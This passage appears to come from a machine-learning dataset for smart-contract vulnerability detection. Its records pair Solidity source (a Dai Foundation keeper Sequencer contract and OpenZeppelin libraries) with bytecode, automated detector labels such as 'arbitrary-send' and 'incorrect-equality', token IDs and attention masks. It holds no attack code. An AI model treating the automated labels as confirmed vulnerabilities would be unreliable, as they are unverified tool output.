031981168114612668578182fd5b60006020828403121561364c578081fd5b5051919050565b600080600060408486031215613667578283fd5b83359250602084013567ffffffffffffffff811115613684578283fd5b613690868287016133b9565b9497909650939450505050565b600080604083850312156136af578182fd5b50508035926020909101359150565b600080600080608085870312156136d3578182fd5b84359350602085013592506040850135915060608501356136f381613f86565b939692955090935050565b60008060008060808587031215613713578182fd5b5050823594602084013594506040840135936060013592509050565b15159052565b60006101808084843791909101908152919050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039290921682521515602082015260400190565b6001600160a01b03929092168252602082015260400190565b6101a08101610180808584379190910191909152919050565b901515815260200190565b90815260200190565b6020808252604c908201527f535031426f72726f77696e673a2043616e6e6f74206465706f73697420626f7260408201527f726f7765642066756e647320746f207468652065786368616e6765207768696c60608201526b194814995cdd1c9a58dd195960a21b608082015260a00190565b60208082526033908201527f5350314f776e65723a20477261636520706572696f642068617320656c617073604082015272656420666f7220666f7263656420747261646560681b606082015260800190565b6020808252602c908201527f535031426f72726f77696e673a2043616e6e6f7420626f72726f77207768696c60408201526b194814995cdd1c9a58dd195960a21b606082015260800190565b6020808252602d908201527f53503153746f726167653a20535441524b206b6579206973206e6f74206f6e2060408201526c1d1a1948185b1b1bdddb1a5cdd609a1b606082015260800190565b60208082526026908201527f5350314f776e65723a20535441524b206b657920616c726561647920646973616040820152651b1b1bddd95960d21b606082015260800190565b60208082526046908201527f535031477561726469616e3a2043616e6e6f742063616c6c20666f726365642060408201527f616374696f6e20696620626f72726f77657220686173206e6f206f766572647560608201526519481919589d60d21b608082015260a00190565b60208082526026908201527f5350314f776e65723a20526563697069656e7420616c726561647920646973616040820152651b1b1bddd95960d21b606082015260800190565b60208082526027908201527f5350315769746864726177616c733a204e6f20776974686472617761626c652060408201526662616c616e636560c81b606082015260800190565b60208082526042908201527f535031426f72726f77696e673a204175746f2d706179206d6179206f6e6c792060408201527f6265207573656420647572696e672074686520626c61636b6f75742077696e646060820152616f7760f01b608082015260a00190565b60208082526023908201527f5350314f776e65723a20526563697069656e7420616c726561647920616c6c6f6040820152621dd95960ea1b606082015260800190565b60208082526033908201527f5350314f776e65723a20535441524b206b6579206e6f742072656769737465726040820152721959081d1bc81d1a1a5cc818dbdb9d1c9858dd606a1b606082015260800190565b60208082526033908201527f5350315769746864726177616c733a20416d6f756e74206578636565647320776040820152726974686472617761626c652062616c616e636560681b606082015260800190565b60208082526044908201527f535031426f72726f77696e673a20496e73756666696369656e742066756e647360408201527f20746f2061766f69642066616c6c696e672073686f7274206f6e2072657061796060820152631b595b9d60e21b608082015260a00190565b6020808252602f908201527f5350314f776e65723a20466f72636564207472616465206e6f7420717565756560408201526e19081bdc881dd85cc81d995d1bd959608a1b606082015260800190565b60208082526043908201527f5350315769746864726177616c733a2043616e6e6f742075736520746869732060408201527f66756e6374696f6e20746f20776974686472617720626f72726f77656420746f60608201526235b2b760e91b608082015260a00190565b60208082526039908201527f5350314f776e65723a2057616974696e6720706572696f6420686173206e6f7460408201527f20656c617073656420666f7220666f7263656420747261646500000000000000606082015260800190565b60208082526023908201527f5350314f776e65723a20535441524b206b657920616c726561647920616c6c6f6040820152621dd95960ea1b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252602d908201527f53503153746f726167653a20526563697069656e74206973206e6f74206f6e2060408201526c1d1a1948185b1b1bdddb1a5cdd609a1b606082015260800190565b838152604060208201819052810182905260006001600160fb1b03831115613e3d578081fd5b6020830280856060850137919091016060019081529392505050565b9182521515602082015260400190565b918252602082015260400190565b92835260208301919091521515604082015260600190565b9283526020830191909152604082015260600190565b938452602084019290925260408301521515606082015260800190565b93845260208401929092526040830152606082015260800190565b60008f82528e60208301528d60408301528c60608301528b60808301528a60a08301528960c08301528860e083015287151561010083015286610120830152856101408301526101a0610160830152836101a08301526101c0848682850137828501810191909152601f8401601f1916820101613f5e61018083018461372f565b9f9e505050505050505050505050505050565b6001600160a01b0381168114612e0d57600080fd5b8015158114612e0d57600080fdfe6663d80d1ddaf7af549b98207d87c23d06e0a662c0bc9bd97a9b07d71e130fe6a434a7eae4dc33d33707b4ea79a4d2f6f2fde6108bbe8f120bc12699e152e91e2344277e405079ec07749d374ba0b5862a4e45a6a05ac889dbb4a991c6f9354db19546dff01e856fb3f010c267a7b1c60363cf8a4664e21cc89c26224620214e436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a656403d64837e30f3bde14c47536cffb1dc441abfcf02e886b676a4ef6c83c39f9805361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636555435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a26469706673582212201b90791937a0c070b7c288a74f436b4b003a6f5f3fe118099a751dff63d7383364736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2575, 2620, 2546, 2683, 17914, 16576, 2094, 2509, 2497, 12740, 2094, 12376, 2278, 22025, 2094, 24434, 2575, 2546, 2094, 2629, 2546, 2692, 2050, 2581, 6858, 21619, 2094, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 12324, 1005, 1012, 1013, 6123, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 7817, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 9413, 2278, 16048, 2629, 1012, 14017, 1005, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 6327, 8278, 1997, 3229, 8663, 13181, 2140, 4161, 2000, 2490, 9413, 2278, 16048, 2629, 10788, 1012, 1008, 1013, 8278, 24264, 9468, 7971, 8663, 13181, 7630, 26952, 13662, 3085, 1063, 3853, 2038, 13153, 2063, 1006, 27507, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,602
0x9566eB72e47E3E20643C0b1dfbEe04Da5c7E4732
// hevm: flattened sources of src/Sequencer.sol // SPDX-License-Identifier: AGPL-3.0-or-later AND MIT pragma solidity =0.8.9 >=0.8.0 <0.9.0; ////// src/utils/EnumerableSet.sol // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) /* pragma solidity ^0.8.0; */ /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } ////// src/Sequencer.sol // Copyright (C) 2021 Dai Foundation // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity 0.8.9; */ /* import "./utils/EnumerableSet.sol"; */ interface JobLike { function workable(bytes32 network) external returns (bool canWork, bytes memory args); } /// @title Coordination between Keeper Networks /// @dev Only one should be active at a time /// /// Use the block number to switch between networks contract Sequencer { using EnumerableSet for EnumerableSet.AddressSet; using EnumerableSet for EnumerableSet.Bytes32Set; struct WorkableJob { address job; bool canWork; bytes args; } // --- Auth --- mapping (address => uint256) public wards; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "Sequencer/not-authorized"); _; } EnumerableSet.Bytes32Set private networks; EnumerableSet.AddressSet private jobs; uint256 public window; // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event File(bytes32 indexed what, uint256 data); event AddNetwork(bytes32 indexed network); event RemoveNetwork(bytes32 indexed network); event AddJob(address indexed job); event RemoveJob(address indexed job); // --- Errors --- error InvalidFileParam(bytes32 what); error NetworkExists(bytes32 network); error NetworkDoesNotExist(bytes32 network); error JobExists(address job); error JobDoesNotExist(address network); error IndexTooHigh(uint256 index, uint256 length); error BadIndicies(uint256 startIndex, uint256 exclEndIndex); constructor () { wards[msg.sender] = 1; emit Rely(msg.sender); } // --- Administration --- function file(bytes32 what, uint256 data) external auth { if (what == "window") { window = data; } else revert InvalidFileParam(what); emit File(what, data); } // --- Network Admin --- function addNetwork(bytes32 network) external auth { if (!networks.add(network)) revert NetworkExists(network); emit AddNetwork(network); } function removeNetwork(bytes32 network) external auth { if (!networks.remove(network)) revert NetworkDoesNotExist(network); emit RemoveNetwork(network); } // --- Job Admin --- function addJob(address job) external auth { if (!jobs.add(job)) revert JobExists(job); emit AddJob(job); } function removeJob(address job) external auth { if (!jobs.remove(job)) revert JobDoesNotExist(job); emit RemoveJob(job); } // --- Views --- function isMaster(bytes32 network) public view returns (bool) { if (networks.length() == 0) return false; return network == networks.at((block.number / window) % networks.length()); } function numNetworks() external view returns (uint256) { return networks.length(); } function hasNetwork(bytes32 network) public view returns (bool) { return networks.contains(network); } function networkAt(uint256 index) public view returns (bytes32) { return networks.at(index); } function numJobs() external view returns (uint256) { return jobs.length(); } function hasJob(address job) public view returns (bool) { return jobs.contains(job); } function jobAt(uint256 index) public view returns (address) { return jobs.at(index); } // --- Job helper functions --- function getNextJobs(bytes32 network, uint256 startIndex, uint256 endIndexExcl) public returns (WorkableJob[] memory) { if (endIndexExcl < startIndex) revert BadIndicies(startIndex, endIndexExcl); uint256 length = jobs.length(); if (endIndexExcl > length) revert IndexTooHigh(endIndexExcl, length); WorkableJob[] memory _jobs = new WorkableJob[](endIndexExcl - startIndex); for (uint256 i = startIndex; i < endIndexExcl; i++) { JobLike job = JobLike(jobs.at(i)); (bool canWork, bytes memory args) = job.workable(network); _jobs[i - startIndex] = WorkableJob(address(job), canWork, args); } return _jobs; } function getNextJobs(bytes32 network) external returns (WorkableJob[] memory) { return this.getNextJobs(network, 0, jobs.length()); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80637c530f13116100a25780639c52a7f1116100715780639c52a7f114610224578063a613ff9c14610237578063b36a56ad1461024a578063bf353dbb14610275578063c5198abc1461029557600080fd5b80637c530f13146101e35780637da3ad21146101f657806380711989146102095780639212051c1461021c57600080fd5b806330d6be2c116100e957806330d6be2c1461018b57806330eb90981461019e578063356bffdc146101b4578063461645bf146101c757806365fae35e146101d057600080fd5b8063161c37a91461011b57806317c6066f146101435780632555df711461015857806329ae811414610178575b600080fd5b61012e610129366004610bb6565b6102a8565b60405190151581526020015b60405180910390f35b610156610151366004610bd3565b6102bb565b005b61016b610166366004610bd3565b61034c565b60405161013a9190610c1c565b610156610186366004610cc0565b6103e3565b610156610199366004610bd3565b610487565b6101a661050f565b60405190815260200161013a565b6101a66101c2366004610bd3565b610520565b6101a660055481565b6101566101de366004610bb6565b61052d565b61012e6101f1366004610bd3565b6105a1565b61012e610204366004610bd3565b6105ed565b610156610217366004610bb6565b6105fa565b6101a6610693565b610156610232366004610bb6565b61069f565b61016b610245366004610ce2565b610712565b61025d610258366004610bd3565b6108fb565b6040516001600160a01b03909116815260200161013a565b6101a6610283366004610bb6565b60006020819052908152604090205481565b6101566102a3366004610bb6565b610908565b60006102b56003836109a1565b92915050565b336000908152602081905260409020546001146102f35760405162461bcd60e51b81526004016102ea90610d0e565b60405180910390fd5b6102fe6001826109c6565b61031e57604051630ecb231960e21b8152600481018290526024016102ea565b60405181907f6f799ad4438f7f5edf0e5855230ce7b8a068dd52854704cc1078830b5f5f1c5f90600090a250565b60603063a613ff9c83600061036160036109d2565b6040516001600160e01b031960e086901b168152600481019390935260248301919091526044820152606401600060405180830381600087803b1580156103a757600080fd5b505af11580156103bb573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526102b59190810190610e36565b336000908152602081905260409020546001146104125760405162461bcd60e51b81526004016102ea90610d0e565b816577696e646f7760d01b141561042d576005819055610449565b604051633c63416360e11b8152600481018390526024016102ea565b817fe986e40cc8c151830d4f61050f4fb2e4add8567caad2d5f5496f9158e91fe4c78260405161047b91815260200190565b60405180910390a25050565b336000908152602081905260409020546001146104b65760405162461bcd60e51b81526004016102ea90610d0e565b6104c16001826109dc565b6104e157604051630e5a10e360e41b8152600481018290526024016102ea565b60405181907f14b7ac3b50ee1fd8a2427d781717c273a2cb1ae62bf02811ca24ec5a2836bb1890600090a250565b600061051b60016109d2565b905090565b60006102b56001836109e8565b3360009081526020819052604090205460011461055c5760405162461bcd60e51b81526004016102ea90610d0e565b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b60006105ad60016109d2565b6105b957506000919050565b6105e56105c660016109d2565b6005546105d39043610f7d565b6105dd9190610f91565b6001906109e8565b909114919050565b60006102b56001836109f4565b336000908152602081905260409020546001146106295760405162461bcd60e51b81526004016102ea90610d0e565b610634600382610a0c565b61065c576040516388f81e8560e01b81526001600160a01b03821660048201526024016102ea565b6040516001600160a01b038216907f2104c946bb2e25472480a083f9ea4624be22c24c8f9b5603057bca3930c52e8b90600090a250565b600061051b60036109d2565b336000908152602081905260409020546001146106ce5760405162461bcd60e51b81526004016102ea90610d0e565b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b60608282101561073f57604051632008e1fd60e11b815260048101849052602481018390526044016102ea565b600061074b60036109d2565b90508083111561077857604051630efec7f360e21b815260048101849052602481018290526044016102ea565b60006107848585610fa5565b67ffffffffffffffff81111561079c5761079c610d45565b6040519080825280602002602001820160405280156107e957816020015b604080516060808201835260008083526020830152918101919091528152602001906001900390816107ba5790505b509050845b848110156108f15760006108036003836109e8565b9050600080826001600160a01b0316638dce54b78b6040518263ffffffff1660e01b815260040161083691815260200190565b600060405180830381600087803b15801561085057600080fd5b505af1158015610864573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261088c9190810190610fbc565b604080516060810182526001600160a01b038716815283151560208201529081018290529193509150856108c08b87610fa5565b815181106108d0576108d061100a565b602002602001018190525050505080806108e990611020565b9150506107ee565b5095945050505050565b60006102b56003836109e8565b336000908152602081905260409020546001146109375760405162461bcd60e51b81526004016102ea90610d0e565b610942600382610a21565b61096a5760405163050fe44f60e51b81526001600160a01b03821660048201526024016102ea565b6040516001600160a01b038216907f8b289941a79010edcde43e0263da5b169b75b9fcc7251c62553193c2c3ce4fcd90600090a250565b6001600160a01b038116600090815260018301602052604081205415155b9392505050565b60006109bf8383610a32565b60006102b5825490565b60006109bf8383610a81565b60006109bf8383610b74565b600081815260018301602052604081205415156109bf565b60006109bf836001600160a01b038416610a81565b60006109bf836001600160a01b0384165b6000818152600183016020526040812054610a79575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556102b5565b5060006102b5565b60008181526001830160205260408120548015610b6a576000610aa5600183610fa5565b8554909150600090610ab990600190610fa5565b9050818114610b1e576000866000018281548110610ad957610ad961100a565b9060005260206000200154905080876000018481548110610afc57610afc61100a565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080610b2f57610b2f61103b565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506102b5565b60009150506102b5565b6000826000018281548110610b8b57610b8b61100a565b9060005260206000200154905092915050565b6001600160a01b0381168114610bb357600080fd5b50565b600060208284031215610bc857600080fd5b81356109bf81610b9e565b600060208284031215610be557600080fd5b5035919050565b60005b83811015610c07578181015183820152602001610bef565b83811115610c16576000848401525b50505050565b60006020808301818452808551808352604092508286019150828160051b87010184880160005b83811015610cb257888303603f19018552815180516001600160a01b031684528781015115158885015286015160608785018190528151908501819052608090610c9281838801858d01610bec565b96890196601f01601f191694909401909301925090860190600101610c43565b509098975050505050505050565b60008060408385031215610cd357600080fd5b50508035926020909101359150565b600080600060608486031215610cf757600080fd5b505081359360208301359350604090920135919050565b60208082526018908201527f53657175656e6365722f6e6f742d617574686f72697a65640000000000000000604082015260600190565b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715610d7e57610d7e610d45565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715610dad57610dad610d45565b604052919050565b80518015158114610dc557600080fd5b919050565b600082601f830112610ddb57600080fd5b815167ffffffffffffffff811115610df557610df5610d45565b610e08601f8201601f1916602001610d84565b818152846020838601011115610e1d57600080fd5b610e2e826020830160208701610bec565b949350505050565b60006020808385031215610e4957600080fd5b825167ffffffffffffffff80821115610e6157600080fd5b818501915085601f830112610e7557600080fd5b815181811115610e8757610e87610d45565b8060051b610e96858201610d84565b9182528381018501918581019089841115610eb057600080fd5b86860192505b83831015610f4457825185811115610ece5760008081fd5b86016060818c03601f1901811315610ee65760008081fd5b610eee610d5b565b89830151610efb81610b9e565b81526040610f0a848201610db5565b828c0152918301519188831115610f215760008081fd5b610f2f8e8c85870101610dca565b90820152845250509186019190860190610eb6565b9998505050505050505050565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082610f8c57610f8c610f51565b500490565b600082610fa057610fa0610f51565b500690565b600082821015610fb757610fb7610f67565b500390565b60008060408385031215610fcf57600080fd5b610fd883610db5565b9150602083015167ffffffffffffffff811115610ff457600080fd5b61100085828601610dca565b9150509250929050565b634e487b7160e01b600052603260045260246000fd5b600060001982141561103457611034610f67565b5060010190565b634e487b7160e01b600052603160045260246000fdfea2646970667358221220f1fcdc362580353e460c093959234821451488ca4f2dd2d6e44a7a7b67e43ff464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26976, 2575, 15878, 2581, 2475, 2063, 22610, 2063, 2509, 2063, 11387, 21084, 2509, 2278, 2692, 2497, 2487, 20952, 11306, 2692, 2549, 2850, 2629, 2278, 2581, 2063, 22610, 16703, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 5034, 2278, 1013, 5537, 2099, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1998, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1022, 1012, 1023, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5034, 2278, 1013, 21183, 12146, 1013, 4372, 17897, 16670, 13462, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,603
0x956792aC03A11Edd6F2b9dc35202090eb115ca98
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since 